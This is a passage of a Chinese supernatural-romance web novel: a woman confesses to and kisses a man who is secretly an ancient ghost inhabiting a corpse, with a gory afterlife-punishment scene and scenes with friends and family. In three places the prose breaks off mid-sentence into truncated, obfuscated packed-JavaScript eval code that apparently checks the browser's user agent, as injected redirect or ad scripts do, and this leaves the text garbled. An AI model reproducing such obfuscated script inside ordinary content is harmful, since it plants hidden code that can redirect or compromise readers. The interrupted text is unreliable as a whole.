她绕回桌边拿手机,特地避开那摊未干的酒渍,口吻惋惜:“人家给你送这么多吃的,你真的不打包带走吗?放在这儿,别人也不敢要,坏了多浪费……” 沈渠一愣,飞快往桌上觑了一眼,低头观察许菱烟。 看她表情平淡,没有惊恐没有抗拒,态度像对待其他活人一样正常,他立即明白了什么,爽朗地笑开:“别拿了,他们给的都不是什么好东西。我不爱吃,你不能吃,拿回去也是占地方。” 言之有理。许菱烟点头:“行。” - 这个点儿商场已经关门,地下停车场的人工服务至凌晨两点四十分结束,现在还有少数几辆车停在里面,车主今晚肯定是不会来取了。 传达室的大爷披着军大衣,一边烤小太阳取暖,一边听收音机。 戏曲宛转悠扬,夜深人静,他也倦意上头,双眼一眯,打了个长长的哈欠,视线被生理性水雾蒙住,只依稀看见一男一女有说有笑的往这边来,并没发现他们身后的影子与肢体动作全然不同,更高更大的一方完全笼罩着另一方,似在缠绵拥抱,难舍难分。 戏中人唱着:“……守归期、盼归期,不图相会在今时。你不负奴,奴又何尝负你!从今后生生死死,我俩都鱼水相依!郎你可知我心中,只得一个你……1” 明明情深意切,却又掺杂一丝悲凉哀怨。 大爷平时没少听这场戏,悠闲自得地阖上眼,跟着调子哼哼。 突地,窗户被敲响,笃笃。 睁眼看见一张近在咫尺的青紫色面皮,贴在玻璃上只进气不出气,眼皮微微耷拉着,遮去大半眼白,芝麻豆大点的黑瞳仁紧盯他,一副就要闯进来索命的阵仗。 大爷以为大半夜撞见鬼敲门了,吓得心跳停滞一拍,差点从椅子上翻下去,当场一命呜呼。 定睛又一瞧,发现是两个年轻人,来取车的,请他开一下闸门。 两人的肤色正常,气质出众,长相也蛮登对,一看就是高薪文化人。 男的怀里还抱着一束快凋谢的玫瑰花,肯定是才约会完准备回家的情侣或夫妻,没什么奇怪之处。 刚刚诡异的一幕,更像他在惊吓中产生的错觉。 大爷缓了缓咚咚作响的心脏,从温暖的袖兜里抽出手,摁下墙壁的按钮,打开行人通道的电子挡板,叮嘱:“出口那儿没有人工服务,你们扫门上的二维码,缴停车费开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我这人挺无趣的,恋爱里最不喜欢所谓浪漫的那一套。”她毫无征兆地开口。 “偏偏男人们就爱玩这种庸俗戏码,以为送束花、外出主动买个单、送几件轻奢礼之类的,就能换来一个娇俏可爱的女朋友,和一段矢志不渝的感情。” “我总能看穿他们的意图,所以,一直很难真正进入亲密关系……在我遇见的这么多人里,只有你不一样,也只有你,在我心里是个特殊的例外。” 许菱烟眼睁睁看着沈渠因为这番话,一张脸越来越红,额头、鼻尖渗出晶莹的汗珠,长翘的睫毛像扇子不停扑棱。 不知道他听见她的告白,究竟是激动多,还是羞赧更多,总之呼吸全乱了,压根不敢直视她。 许菱烟却罕见的大胆,以免他错过关键细节,她上手,有些强硬地掰正他的脸,非要一个对视。 肌肤相触的刹那,她心底惊呼:好烫! 原来,他比她想象中还要忐忑。 许菱烟努力压抑着,没表现出来的紧张,反倒不值一提了。 她深吸一口气,态度更恳切:“我喜欢你,是因为你足够磊落。” “你看向我的眼神很干净,心也很干净,不会耍手段或者花言巧语,别人或许会说你不解风情,可我恰恰就喜欢这一点。” “今天晚上,比起一起吃的饭、看得表演,还有后备箱那束凋谢的玫瑰,我更喜欢我们并肩走在街头的时候,哪怕一路沉默也不觉得尴尬,还有刚刚,你给我掖毯子……” 这些具有生活气的点滴,不必抹上梦幻、绮丽的滤镜,是实实在在令人心安的温情。 她承认自己喜欢听震天撼地的爱情故事,但到头来,却只会选择和沈渠这种细水长流的相处。 “……你,能明白我的意思吗?”许菱烟很努力的想要通过眼神,向沈渠传达自己这份郑重的心意。 而他一言不发,一双眸子阴沉沉地凝着她,仿佛有比她更强烈的情感呼之欲出。 这样充满侵略性的眼神,弄得许菱烟口干舌燥。 她甚至感受到掌心的肌肤越来越烫,怀疑沈渠整个人儿快烧着了。 她被他古怪的体温惊了一跳,后面打算说得内容全忘光了,久了还有点畏怯,犹豫要不要收回手。 下一秒,许菱烟眼前一黑,下颌被沈渠的虎口卡住,脑袋不自主的向上扬起。 唇与唇严丝合缝,湿软的舌顺着贝齿的间隙长驱直入,叼起她,含住,吮着,嘬弄,相互缠绕。 终于,呼吸凌乱,神智迷离。 26. 祖宗 人在最动情的时候,语言反而显得苍白无力,恨不得揉着对方,彻底塞入身体内才肯满足。 不多时,车窗上蒙着一层水雾,热气蒸腾,教人呼吸不畅。 许菱烟紧紧抱着沈渠,压根不想松开,也没精力思考他的吻为什么如此熟悉。两人甚至不用磨合,在亲吻这件事上,默契的诡异。 沈渠双手撑在座椅两侧,深深低下头,后脖颈突出一串棘骨。他含住她的双唇狎弄,尝到水蜜桃味的口脂,再向内探入,便是馥郁浓烈的花香。 克制着汹涌的欲-念,沈渠暂时离开芬芳地,眼神细如丝,纠缠着妻子,怎么都看不够。 数秒之后,他哑声问:“你为什么……这么香?” “真的很香吗?香在哪里?”许菱烟反问。 她被亲的朦胧,有气无力地倒在沈渠怀里,听着他粘稠缓速的心跳,咯咯笑起来。 刚才的混乱中,她鬓角有几缕不听话的发丝滑至脸庞,挡住香腮,也遮住他看她的视线。 于是沈渠脑袋垂低,是人无法达到的程度,撩开头发,捏了捏她冒着热乎气的脸颊肉,凑近一嗅。 与记忆中的花香气如出一辙。 他一激动,鲜红如经络粗壮的血丝,逐渐蔓延上眼球。 “真的,哪儿哪儿都香。” “我没有喷香水的习惯,可能是洗衣液的味道吧。” 许菱烟:“我回头把链接发你?” 沈渠知道不是什么洗衣液,分明是她的体香。 从他们第一次在庙里相见,她还是高高在上的仙子的时候,他躺在她的怀里就闻到过了,久久难以忘却。 后来他们结为夫妻,情深意浓时,他问她抹了什么使身子香成这样,她亦红着脸说自己没有熏香,或许是府里用的皂荚味。 沈渠心里跟明镜似的。 过往一幕幕在眼前重现,他那颗腐朽的心脏快负荷不了莫大的感情冲动,彻底罢工的那一刻,沈渠又掐着妻子的脸,低头吻了上去。 他注意着分寸,胸膛没有压上她。 吻到情深仍不敢随便触碰她的身体,生怕渎神一样。 许菱烟却没那么多顾忌,她第一次接吻就食髓知味,对方又是她那么喜欢的人,哪怕心里说不对、不行,却控制不住身体的本能反应。 她搂着他,指腹无意识的磨蹭后脖颈的突棘,破碎的音节从唇齿间溢出,又被他含糊着吞下去。 直至她肺部的氧气挤压殆尽,双唇肿的发疼,不得不抬起胳膊肘抵住他的胸膛,传递出想结束的信号。 沈渠果然很上道,顺从地后撤。 两人贴合的太久,分开时,许菱烟感受到唇间一丝黏连,最终在半空中崩开。 有那么一瞬间,她忆起在便利店吐得昏天黑地的经历,但奇异感稍纵即逝,重新将她拽回当下暧昧的场景。 她理所应当的露出羞怯的表情,眼睫低垂,不敢直视他,红肿的双唇微张,平复呼吸。 沈渠的情况同样没好到哪儿去。 从前夜里,趁她睡着才能有的单方面相拥和亲昵,抵不上她心甘情愿主动的分毫。 而她亲上他面颊的时候,他胸腔被剑捅穿的大洞又开始刮着呼啸寒风,让他痛又让他爽,欲罢不能。 沈渠抵着妻子暖烘烘的额头,双眼紧闭,生怕情绪激动时露出的鬼相吓到她,良久才冷静下来。睫毛一抖,向上掀起,瞳仁已经恢复正常,倒映她含羞带怯的面庞。 没来由的,沈渠眼底涌入一抹湿意。 上天纵然将诸多苦难降生他身,但也算待他不薄。 沈渠吸了吸鼻子,难为情地哽着喉头,郑重其事问:“那你的意思,是愿意跟我在一起吗?” 永远。永远。 真心以待。 死生不弃。 “……” 距离那么近,许菱烟当然看得清沈渠眼底闪烁的泪光。 那么漂亮,比天上的星星还璀璨。 虽然搞不懂只是告白,怎么被他弄得像生离死别又失而复得一样郑重,但她确实很想跟他恋爱。这种念头格外强烈,还是她平生第一次。 许菱烟摸了摸他的面颊,动作轻柔,像拂去还没落下的泪,点头:“嗯。” - 空旷幽深的停车场内,一条被月光拉长收窄的影子投落地面,摇摇晃晃地前行。 伴随着哒哒的脚步声,戏曲声也越来越近。 为了夜间值班的时候有精神,大爷茶水喝多了,尿急,匆匆锁了传达室,跑进卫生间解决。 外间的铁门没关严,荡秋千一样来回撞击墙壁,深更半夜的,听着瘆人。 大爷赶快完事儿,提溜起裤腰,边扎绳结,边往外走,顺脚把砖块踢回原处挡住铁门,然后将收音机的声音调大,强压过呼啸凌冽的寒风,心里顿时安生不少。 那折戏唱完,又是新的片段:“娘只说阴曹府就报应无有,又谁知我到阴曹,我早晚间我受的是那蓬头垢面、披枷戴锁、口含着银灯,到何时我才得出头?1” 哐啷一声,铁门撞开石砖猛地倒在墙壁上,铁皮被震得哗啦哗啦作响。 可…… 此时此刻,分明没有吹风啊。 大爷后背一僵,意识到这点,顿觉毛骨悚然。 他双脚生根一样扎在地里,多一步也迈不动,浑身的毛孔翕张,不停冒着冰冷的汗珠。 不知道哪来的胆子,他脑袋一格一格地转回去。苍老松垮的眼皮挡住视线,他努力瞪大,生怕错过什么蛛丝马迹,望向漆黑空荡的卫生间门口。 里头的照明灯和水管坏了很久,先后被顾客和工作人员反应过很多次,最终成功上报给商场经理。经理答应维修,款项拨下来,工作却一直拖到现在都没干。 现下,水珠滴答滴答的动静回荡在耳畔,规律又频繁,催命符似的,邪门儿的很。 而黑暗带来的未知,最容易激发人心底深层的恐惧。 大爷艰难地咽下口唾沫,哆嗦着手关掉收音机,往口袋摸手机。 他两只眼轮流放哨,看一眼屏幕就要多看两眼铁门,生怕有歹人趁机冲出来对自己不利。 有那么一刹,他甚至怀疑十几分钟前,进来取车的那一对男女还没离开。 指头悬在紧急拨号上面,即将摁下去的时候,他鼓鼓劲儿,硬气起来,嚷嚷:“谁在里头——!?” 尾音颤抖,像踩了电门儿。 还没怎么着呢,他就要把自己个儿吓死了。 忒没骨气。 大爷拍拍脸,努力冷静下来,又嚎了一嗓子。 等了有一会儿,徘徊在上空的回音消散,里面并没人吱声。 水滴声还在继续,比方才更快更急。铁门撞击的速度减缓,惯性使然,徐徐往后滑出一段距离,停在墙壁前几毫米。 大爷困顿地挠了挠头,不过,很快就想明白了。 他上厕所的时候把手电筒调至最亮,各个隔间的门也是向外大敞开的,如果有不对劲,他早就发现了,肯定是今天晚上神啊鬼啊的戏挺多,才会变得草木皆兵。 大爷摸去额头渗出的冷汗,腿脚麻利的往外走,暗骂一句晦气。 打算回家叫子女重新在收音机里下载一些阳光明媚的歌或戏,夜里真不能听太阴森森的东西,没鬼也得招来鬼了。 殊不知,最里面被钉死的杂物间内,墙壁、门后、卫生工具上溅满星星点点的血渍,浑浊的腥味儿弥漫。 有个男人脖颈伸长至极限,被一根无形的细丝吊在天花板上,下半部分的身体变成透明色,双脚没办法踩实,在阴风中晃来晃去。 人固然死去,但灵魂还没离体,仍能感受到肉-体上的痛苦。 男人如同死鱼一样滚起眼白,嘴巴被一道不容抗拒的强大力量上下撕裂,口子从头顶延续至脖颈,溢出的血沫堵塞喉管,拼命吞咽也无济于事,咕嘟咕嘟声响彻整片区域。 忽然,外间的狂风停止一息,清晰的脚步声越来越近,最终停在这扇门前。 月光从窗外斜照进来,落在他身上,映出一张皎洁无瑕的俊脸。是沈渠。 他对男人痛苦的呻-吟无动于衷,伸手向一旁的黑暗角落,竟真在那片虚无中握住一角衣领,稍微用力,便把躲在那儿看半天好戏的东西直接拽出来。 后者没来得及反应,脊背重重撞上门板,发出砰得巨响。 它似乎被惹怒,立即调转方向,张牙舞爪地向沈渠扑来。而他反应更快一步,闪身躲开的瞬间扬起拳精准击中它腹部,直接把它顶向上方,阵仗差点掀翻天花板。 叮呤咣啷一阵杂乱之后,空气中突然爆出一句粗口:“What''sup!人家跟你闹着玩呢,你竟然下这么重的手?被阎王爷夺舍了啊你!” 他被砸得险些破功,黑雾翻动好久才逐渐拢成人形,揉着肚子踉跄起身,恶狠狠地瞪着他,敢怒不敢言的样子,“你不在家陪老婆,专程来这儿找我麻烦……”是不是有病。 沈渠僵直的眼珠微转,想起今晚在停车场里缠绵悱恻的吻,想起送妻子到家门口她主动俯身又贴了贴他的面颊,想起她叫他男朋友…… 沈渠喜从中来,嘴角轻微勾起,一张死掉太久早就崩裂的面皮上露出些许欢愉,显然对“老婆”这个称呼格外受用。 可惜笑意转瞬即逝,对他,他仍旧摆不出好脸色。 “注意你的态度,沈绍元,”他睨着他,冷冷警告,“从辈分上讲,我是沈家的亲祖宗,你嘴巴放尊重一些。还有,我强调过很多次,我的妻子,最不喜我伤人。” 沈渠抬眼,注视着吊在天花板上的男人,语气森寒:“现在,给我一个有说服力的理由,足够免你再死一次。” 沈绍元不知道该说什么,随他的眼神一起回头,看着鲜血淋淋的一幕,胆颤心惊。 这一会功夫,那男的已经死透了,死人的魂魄离开身体之后变得无知无觉,自然不会痛。 但凡事总有例外。 不然犯了大错,被罚下无间炼狱,又怎么能承担他们生前种下的恶果。 话又说回来,能伤得了魂魄的鬼,实力都不一般。 要么是地府的神官,要么是他祖宗这种。 本该成神,却被某人、某事绊住脚,宁愿成鬼,万劫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他厌烦地蹙眉,一甩袖子,眼前的景象即刻消失,连同杂物间的血渍也一干二净,平静到仿佛什么都没发生过。 刚安生下来没一秒,沈绍元不知道又发什么疯,捏着嗓子,阴阳怪气地唱:“劝世人,莫多言,口舌之祸重如山。1” 沈渠懒得管他。 早死没用的货色,本就不配做他的后代。 甫一转身,听见沈绍元急慌慌地叫祖宗,“我可没闲到来看别人……别鬼的热闹,我是想等他受完刑,问他个事儿。” 沈渠没理睬,继续往外走。 沈绍元又气又急地跺脚,“祖宗!我亲爱的太太太太太太太……太爷爷,难道你不想和我亲爱的太太太太太太太……太奶奶重归于好了吗?” 沈渠倏然转头,眼底一片淡漠。 沈绍元一看有戏,抓住来之不易的机会,倒豆子似地说:“早上他没死的那会,在商场偶遇你,闻见你身上的腐臭味了。当时我还以为是他快死了,才会闻到你这个死人的味,后来一想,不对劲……” “我知道。”沈渠打断。 知道?你知道?那你还不赶紧想办法解决,究竟还要不要和老婆在一起了? 沈绍元在心底吐槽一句,严肃道:“这具身体和这个身份,你不能再用了。小心出事。” 当初捡来的时候,沈绍元还觉得,新鲜的死尸,又是沈家的后人,拿给祖宗用,撑个一年半载没问题,却忘了在人堆里待久了会加速尸身的腐败。 妥帖的躯壳不易找,找到了也不能轻易换,否则另一位祖宗谈着谈着恋爱,夜半起来发现身边的换人了,被吓死怎么办。还有,他们终究不属于这儿,久而久之影响到其他无辜的活人,又是一桩损阴德的坏事。 沈绍元劝说:“虽然不知道您的计划是什么,但,是时候该往前推一推了。” 早点了却,早点回到该待的地方去。 沈渠无动于衷,仍旧是那两个字:“知道。” 沈绍元长长地叹口气。 作为一只弱小的死鬼,沈绍元没长心,所以不会偏心。 祖宗要他干什么就干什么,后果什么的,不归他负责,但一想到他祖宗能力这么牛掰,等了却尘世心结,回到天上做神仙,届时念在他勤勤恳恳的份上,指不定愿意出把力,送他进轮回呢。 沈绍元突然就生出一股莫大的动力,贴着地面,巴巴地凑到沈渠裤脚边,抓着一角衣料晃了晃,一口一个祖宗叫得亲切。 沈渠往后撤了一步,挣脱他的触碰,命令:“下周三晚上,过来一趟。” “过来哪里?我不是每天都在吗?” 他又不像他,可以自由出入两界。 “不是底下那个。” 顿了一顿,他补充:“沈渠的住处。” “……哦。” 沈绍元:“去干什么?” 他睇他,不情不愿:“你另一位祖宗,要见你。” 27. 对的人 沈绍元沉默了。 指导众鬼排戏、演戏的难度已经够大了,现在还让他去见活人…… 他哪有胆子啊。 万一露馅怎么办。 万一穿帮怎么办。 万一被另一位祖宗发现他是鬼,当场吓死了,怎么办。 这可是大不敬的罪过。 万一他的转世机会就此灰飞烟灭,怎么办。 沈绍元真的很想摇头,迫于沈渠的威胁不敢直言拒绝,委婉地劝:“您以前安排我暗地里做的活儿,打几通电话、下个网购订单、排一出戏,这些难度都还行,也在我的能力范围之内。但您让我直接现身,就很难了。” 他指了指虚无的裤腿,五官一挤,笑比哭还难看,“我是无所谓,这么多年看也看惯了。我亲爱的太太太太太太太……太奶奶不一样,她可是活生生的人,见到我能受得了?” 沈渠笃定:“她能。” 沈绍元无言以对。 一时之间,他甚至没办法确认祖宗对她究竟是爱是恨,如果真的爱,怎么舍得对方因为自己的私欲折损阳寿? 在沈绍元眼中,人命比天大,能活着就是幸事一件,除此之外爱恨情仇都不重要。 况且,转世之后,人家拥有新的生活,早就不记得祖宗了,他一个人……哦不对,一只鬼,又独自执着什么呢。 没情没趣的。 沈绍元在心里嘀咕完,幽幽地叹出口气:“行。她不怕就行。” 沈渠得到想听的答案,身形一晃,消失在无边黑夜中,徒留一股挥之不去的糜烂气息。 这味儿太浓烈,沈绍元一只鬼都遭不住。 他空无的魂魄晃荡了一阵子,扶着墙,猛地做出一个呕吐的动作。 外面的风嗖嗖吹着,铁门又开始咣啷撞击,令人毛发耸然。 过了好一阵儿,沈绍元才缓过劲,轻抚着心口,努力让咳散的雾气重新凝聚在一起,然后抬眼望着沈渠离开的方向,又青又紫的面皮上遍布忧愁。 无声地喟叹句:作孽哎。 - 这晚,许菱烟回到家已经凌晨了,房子漆黑寂静,卢桃比往常睡得都早。 许菱烟怕吵到她,压抑着亢奋的精神,以及想把恋爱的事情广而告之的冲动,蹑手蹑脚进入卧室拿来睡衣,快速冲完澡,躺进被窝准备睡觉。 结果今晚生物钟失灵,她两只眼睛瞪得像铜铃,盯着天花板发呆很久很久,还是毫无睡意。 许菱烟翻来覆去,折腾的床板跟着响。 大晚上的,动静还挺大。 她一边琢磨着要不要换一张新床,换大的,双人的。一边打开夜灯,摸起刷手机漫无目的地刷视频,期待沈渠到家之后会给自己发微信。 这么干等着实在太无聊,许菱烟想找个人唠唠嗑,打开联系表翻了一圈儿,发现这个点儿找谁都不对,于是找了一部纯情电影,盯着幕布上的男女主,脑海里自动播放和沈渠那个缠绵悱恻的初吻,给自己想得面红耳赤,咬着指甲痴笑。 突然,手机叮铃一声响,有新消息弹出来。 许菱烟赶紧拿起来看,发现是叶婉筱,小小的失望了一下。 随即反应过来,又很谴责自己这种见色忘友的行径,立马端正态度看她发了什么内容。 洋洋洒洒的,少说有一千字的小作文。 字里行间的怨气,透过屏幕袭来。 许菱烟眯起双眼,伸手把灯拧亮,一目十行,挑拣最重要的部分看。 叶婉筱:……我后悔了,我太后悔了,我悔不当初啊……我就不该给我妈报广场舞班,折腾几个月,她啥都没学着,净跟其他大姨抱团,互相给子女推荐相亲对象了。 叶婉筱:……你肯定猜不到我妈现在有多么丧心病狂,今天一口气发来三份相亲简历,外加一段长达二十分钟,男嘉宾用来展示自身求偶价值的视频。 叶婉筱:我打开一看,他竟然把幼儿园的奖状也拿出来夸两句……现在太晚了,我就不转发给你了,省得你见识物种多样性之后吓得睡不着…… 叶婉筱:当然,这还不是最可怕的,可怕的在后面呢。 消息发到这儿,戛然而止。 几分钟过去,迟迟没有下文。 许菱烟的好奇心被激发,悬在不上不下的地方很难受,催促:你接着说呀。 叶婉筱秒回:什么情况,这么晚你还没休息? 许菱烟忽略无关内容,自顾自猜测:到底是什么可怕的事情?难道你一气之下拉贺骁做相亲的挡箭牌,阿姨信了,又被贺骁当场撞破,双方围追堵截你给名分? 对方正在输入中亮起又灭,反复很多次,叶婉筱发来一张竖起大拇指的表情包,佩服的五体投地:你是神仙转世吧,猜得真准。 或者说是分毫不差。 真正的好姐妹就得在恰当的时机看对方的热闹,许菱烟想象到叶婉筱吃瘪的表情,乐得很,在被子里打了个滚,弓背趴着敲键盘:其实吧……我觉得吧……贺骁这人,不错。 叶婉筱:。 许菱烟:不如,先接触看看? 叶婉筱:。 许菱烟:你喜欢他。 这么说,叶婉筱就不乐意了,否定的很果决:没有。 许菱烟:怎么没有? 她循循善诱:换做其他人,只要通过一两点要求,你就愿意给打及格分了,再多满足一条,你可能就愿意给一个交往的机会,唯独对贺骁很苛刻,好像他做什么都不符合你的心意。其实这不是苛刻,是你喜欢他,对他有多余的期待,所以才会挑剔。 许菱烟打字打累了,翻身躺好,仰面看着黑漆的天花板,脑海中想的却是沈渠。 才分开没一会儿,她就又开始想他了,心口空落落的,好像缺了最重要的一部分。 许菱烟从被子里伸出手,虚空勾画沈渠的轮廓。 原本无形的气流,随着她指尖的滑动开始翻涌,如有实质般舔舐她的肌肤,有一下没一下的,好像故意在跟她玩闹。 痒意从手指传递到心脏,再蔓延至身体内每一处,逗得她咯咯笑。 手机忽然再次响起来。 叶婉筱和沈渠的消息一齐弹出。 许菱烟没有思考,率先点开叶婉筱的。 这几天被工作烦得脑袋乱成一团浆糊,叶婉筱不愿再分神思考感情问题,含糊说了一句“我再好好想一想,你早点睡,熬夜对身体不好”,就要结束聊天。 许菱烟回复一张小兔子乖乖点头的表情包,退出去之后点开和沈渠的聊天框,一不小心误触视频通话,对方压根没给她挂断的机会,立马接起。 乌漆嘛黑的背景,四周静得离奇,压根分辨不出他究竟在哪儿,但人却实实在在地待在屏幕里,潮湿的黑发垂落,水珠顺着面庞往下滑入镜头拍不到的的地方。 见状,许菱烟手指悬停在挂断键上方,迟迟没摁下去。她抿唇,咽下口唾沫,很没出息的被美色诱惑到了,“你……刚到家?” “没,回来有一会儿了。” 他说:“我以为你已经睡了,所以没及时发消息。” 怕吵到她,但又不能不发。 万一她第二天醒来打开手机,发现一吻之后什么都没有,失落伤心怎么办。 那便是他为人夫的罪过。 没料到,妻子不但没睡,跟别人聊天的时候脑袋里想的也是他,他欣喜万分,决定不计较方才妻子二选一没有优先选择他的事情。 “在外面待了一天,不累吗?”他问。 许菱烟大半张脸躲在被子里,只露出一双映着他的眸子,漂亮的不可方物。 被他直勾勾盯着,仿佛又回到车内严丝合缝拥吻的时候,她耳根发烫,赧得很,说话声很低很低:“累。马上就睡了。” “嗯,我也是。” 他深深注视着她,同她打商量:“视频别挂了?” 后面那句“我想看着你歇息”没敢说。 妻子性情内敛,以往最看不得他一副兵鲁子的出格言行。 他筹谋这么久,好不容易换来一个名分,虽然不比“丈夫”的正经头衔,但好歹算是她的人了。在这种关键时刻,他不能触她的霉头,弄巧成拙。 许菱烟没答应也没拒绝,表情为难。 这回倒不是因为不好意思。 只是……考虑到热情属于不可再生资源,刚一谈上恋爱便黏黏糊糊的,恨不得把心掏出来,毫无保留的交给对方,这么下去用不了多久,热情就消耗干净了。 最好还是把感情当成一壶水,放在恒温炉子上,慢慢煮,慢慢煨,让它热的更久一些。 就好比他们私底下的那一面,也得一点一点展示给对方,这样才能始终保持爱情中的新鲜感,延长心动的保质期。 深思熟虑之后,许菱烟决定婉拒沈渠的提议,还没来得及张开口,眼神便钉死在屏幕上了。 沈渠的镜头晃了一下,床头灯被摁开,暖色调光线洒落,衬得他肌肤更白,近乎病态。因为洗完澡,身上的水汽还没干,整个人看起来湿漉漉的,有点颓气,还有点性-感。 斯文败类。许菱烟脑袋里突然闪过这个词。 等沈渠再看过来,用眼神询问她怎么还不睡,许菱烟脱口而出一句:“行。” 沈渠一怔,明白过来她的意思,莞尔一笑。 他笑起来真的很帅气,干净清爽,跟车上死死搂着她亲个没完的霸道样儿判若两人。 ——嘶。不对。 不对不对不对。 她怎么又开始想了。 今天晚上从进门起究竟想多少次了!? 只是和喜欢的人确定恋爱关系,顺带接个吻而已,别显得自己很没见识、经历浅薄一样,好嘛许菱烟。 这一刻,许菱烟的灵魂仿佛劈砍成两半,一半疯狂自我吐槽,另一半含羞带怯地叫沈渠,跟他说起在车上被吻打断的话:“你相信前世缘分吗?” 沈渠理了理枕头,侧身躺下,发觉这个姿势不方便看许菱烟,于是弯起一条胳膊垫着脑袋。 折腾一阵儿终于舒服了,冷不丁听见她说这么一句,他绷不住笑出声:“你的说法真老套。我外婆那一代向喜欢的男人表达心意,早都不用前世今生的缘分做开场白了。” 许菱烟当即反应过来他在模仿自己,眉头一蹙,娇嗔地嚷:“跟你说正经的呢。” “对不起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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年前的最后一个月,许菱烟惯例给自己放假调整状态,以往会选择外出旅游,要么找二三朋友在就近的山庄里待一阵儿,要么回乡下老家赏赏风景,放空一下精神。 今年因为沈渠的出现,许菱烟的计划全变了。 不过,改变也不见得是坏事。 沈渠这人格外会享受生活,简而言之就是有情调。 这份情调不浮夸,反而融入平时的点点滴滴中,变得朴实可爱。 比如,两人会在雪停之后去永卢湖冰钓;周内找个风景独特的公园围炉煮茶;饭后散步,偶遇路边支起下棋的摊儿便加入进去,过一把瘾; 化雪天冷,他开车带她前往郊区一家很有情致的小森林书店,有幸淘到市面上绝版的旧书,两人到楼上找个座位,点两杯热气腾腾的咖啡,边看边聊,能开心一整天…… 除此之外,他们还从彼此的事业里找到了新的爱好。 许菱烟听沈渠讲历史听得津津有味,已经演变成睡前的必备环节,还从网上买了不少历史书籍。 沈渠则喜欢在她每天练刀工的时候自觉找个角落待着陪伴,一个人拿块废旧木头戳啊戳,比她还坐得住,且一点儿不觉得沉闷,最后真就刻出类似莲花的图案。 许菱烟惊喜万分,帮忙改造成钥匙环上的挂坠,从此之后,沈渠走哪儿带哪儿,完全当成一件宝贝珍惜。 跟沈渠待在一起,许菱烟总觉得路边的一草一木也变得生动,有时候竟然忍不住去想,如果以后两人也这样一起慢吞吞地过日子,或许比现在还要有趣。 临近春节,整座城市前所未有的热闹,他们又往外面跑得勤,难免会被熟人撞见。 一来二去,许菱烟谈恋爱的事就传到父母耳朵里了,许爸醋得很,怂恿许妈来问。他们倒没有催婚的想法,单纯打视频向女儿了解一下男方的情况,帮忙把把关。 寥寥几句,许慕梅就瞧出许菱烟对人家的感情浓度不一般,又从她的描述中对沈渠产生浓烈的好奇,劝说:“抽个空,把人带回家吃顿便饭呗。” 作为父亲的张兴文压着嘴里的酸味儿,在旁边起哄:“丑女婿早晚要见丈人丈母。” 许菱烟翻抽屉的动作一停,无奈:“……您别太心急了,我们还没谈多久呢。” 许慕梅:“这世界上有很多事你都可以说跟时间有关,唯独感情不可以。如果是对的人,认识的第一天就像见到上辈子的亲人,两眼泪汪汪。不对的人,恋爱谈个十年八年照样儿没办法修成正果。” 这话说的很对,张兴文附和,又怕给许菱烟造成心理压力,补充道:“你拐弯抹角地试探一下,他不愿意就算了,别强求。” 许菱烟正在找东西,找了很久没找到,掐着腰站在原地犯愁。 闻言,她敷衍地嗯嗯两声,借口说自己还有事儿,然后挂断视频,冲门外叫卢桃。 伴随着一阵啪嗒啪嗒的拖鞋声,嘴里叼着风干牛肉条的卢桃出现,含糊不清地问:“师姐有何吩咐?” “你看没看到我那串珠子?从灵源寺求来的,可有灵性了,”许菱烟挠头,死活想不起来上一回见它是什么时候、在哪儿,兀自犯嘀咕,“怎么就找不见了?” 28. 忮忌 “没看见。” 卢桃咬着牛肉干狠狠一拽,嚼得腮帮子发酸,但津津有味。 “你别找了呗。有的东西就这样,你越找越找不见,你不找,它反而出现了。” 许菱烟没办法,把房间翻个底朝天都没发现串珠的影子,还把自己累得够呛。 干脆放弃,走去客厅倒水喝。 卢桃的手机搁在茶几上,音量调的很低,应该是在听电子书,背景音阴嗖嗖的,主打一个陪伴作用。 行李箱摊开在地上,东西收拾一半了,杂乱无章,许菱烟看着就头疼,回头问:“你哪天的机票回家过年?” “明天一早。” “告诉家里人没?” “嗯。落地之后,爸爸开车来机场接我。” “师父的身体能开车了?” “放心吧,现在让他扛起锄头下地垒几块田都没事。” 卢桃蹲在专门保存饮料的小冰箱前,精挑细选一阵儿,拿了一瓶青柠味的气泡水。 她往沙发上一撂,舒舒服服又没个样子地歪躺着,自下而上仔细打量一圈儿许菱烟,非常走心地建议:“师姐,你跟沈教授还是要克制一下呀。” 从前多有气色的一个人,谈起恋爱之后整天脸色煞白,眼袋乌青,唇瓣无色。人消瘦了,走路的步子也玄虚无力,俨然一副被男妖怪吸干精气的模样。 这是每天被沈教授拉到哪儿锻炼身体了? 比她报名健身房的效果还明显。 许菱烟正忙着给卢桃叠衣服,闻言,不可思议地睇她一眼,“臭小孩,瞎说什么。” 卢桃撇撇嘴,不置可否。 许菱烟:“我谈恋爱的事,你先别告诉师父和师母。等之后感情稳定了,挑个适合的时机,我亲口跟他们说。” 卢桃又从罐子里掏了一根风干牛肉条,使出吃奶的劲儿撕咬,含糊说行。 许菱烟手脚利索地叠起衣服,拎来提前打包好的年礼放在箱子内侧的隔层,又偷偷给卢桃塞了一个大大的红包。 待收拾完,那阵阴森森的配乐还没结束。 许菱烟忍不住问:“在听什么?” “电台。” “……换成积极向上的频道行不行?这么唬人的音乐,你听了,晚上睡得着觉?” 卢桃叼着牛肉干直笑:“这是投稿栏目,每天都有不同样的人投不同样的内容,可以倾诉烦恼,也可以讲述故事,总之,电台的宗旨是以治愈普通人的生活为主。今天不知道怎么了,电台接的全是都市怪谈,可能因为前阵子发生的那件事太受关注了吧……” 许菱烟一头雾水:“哪件事?” “……” 卢桃看着许菱烟,表情难以言喻。 